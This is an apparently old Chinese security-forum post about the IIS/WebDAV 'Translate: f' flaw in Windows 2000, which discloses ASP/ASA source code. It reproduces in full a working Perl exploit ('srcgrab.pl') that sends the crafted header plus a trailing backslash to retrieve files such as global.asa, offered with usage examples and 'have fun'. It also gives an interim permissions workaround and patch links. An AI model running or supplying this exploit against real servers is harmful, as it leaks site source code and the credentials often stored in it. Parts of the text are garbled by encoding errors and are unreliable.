[URL=http://forums.zol.com.cn/new/diary_list.php?userid=c999c]我的日记![/URL
安全焦点
参考资料: Translate:f summary, history and thoughts by ddoc@MIA.CZ
一、漏洞信息
在win2000及office 2000(包括FrontPage 2000及FrontPage 2000 server extensions)里的WebDAV存在着一个安全问题Translate:f。
当某人往目标机器的ASP/ASA(或者其它脚本文件)发送包含有"Translate:f"文件头的HTTP GET请求时,
windows2000(没有打过SP1补丁的——现在打补丁的还不是很多吧:)会返回该ASP/ASA的源代码而不是本该返回的经过处理的文件(还需要在url的结尾加上一个特殊字符"/")。
虽然这个漏洞出现于windows2000,但由于有些站点虽然仅使用IIS 4.0,但却安装了FrontPage
Server
Extensions 2000,所以这一影响可能会扩展到IIS 4.0的机器上。
二、利用方法
smiler就此漏洞发表了一个用perl写成的利用程序:
-----------------------------start------------------------------------------------
#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works
against IIS 4.0 using a shared drive but I haven磘 tested
it yet.
# Get the source code of any scripq from the server
using this exploit.
# This code was written after Daniel Docekal brought
this issue in BugTraq.
# Cheers 351 and FractalG :)
if (not $ARGV[0]) {
print qq~
Geee it磗 running !! kewl :)))
Usage : srcgrab.pl
Example Usage : srcgrab.pl
http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl
http://www.victim.com/default.asp > file_to_save
~; exit;}
$victimurl=$ARGV[0];
# Create a user agent object
use LWP::UserAgent;
$ua = new LWP::UserAgent;
# Create a request
my $req = new HTTP::Request GET => $victimurl . '\'; #
Here is the backslash at the end of the url ;)
$req->content_type('application/x-www-form-urlencoded');
$req->content_type('text/html');
$req->header(Translate => 'f'); # Here is the famous
translate header :))
$req->content('match=www&errors=0');
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
print $res->content;
} else {
print $res->error_as_HTML;
}
---------------------------------end---------------------------------------
要使用这一程序,你可能需要下载几个perl的模块(可以到
http://www.perl.org上去search:)
1、libwww-perl-5.48.tar.gz
2、URI-1.09.tar.gz
3、HTML-Parser-3.11.tar.gz
每个包只有几十K大吧,下载解包后进入目录,运行
#perl Makefile.PL&&make&&make install
就可以了。have fun :)
(昨天出了洋相,在url后面加了个?,可以访问到部份asp,自以为得手,洋洋自得,大加吹嘘,后来朋友指出,返回的是处理过的代码,而不是源码,猛然醒悟,大为狼狈,特加此注,自己来点警告)
三、解决方案:
1、nsfocus的adam提出了临时解决方案如下:
中文版:
iisreset /stop
c:
cd WINNTsystem32inetsrv
cacls httpext.dll /d everyone
Are you sure (Y/N)?y
iisreset /start
2、正式方案
下载并安装补丁:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769或
http://download.microsoft.com/download/win2000platform/Patch/Q256888/NT5/EN-US/Q256888_W2K_SP1_x86_en.EXE
也可以通过安装 Windows 2000 Service Pack 1来解决这个问题:
http://www.microsoft.com/windows2000/downloads/recommended/sp1/http://202.101.106.13/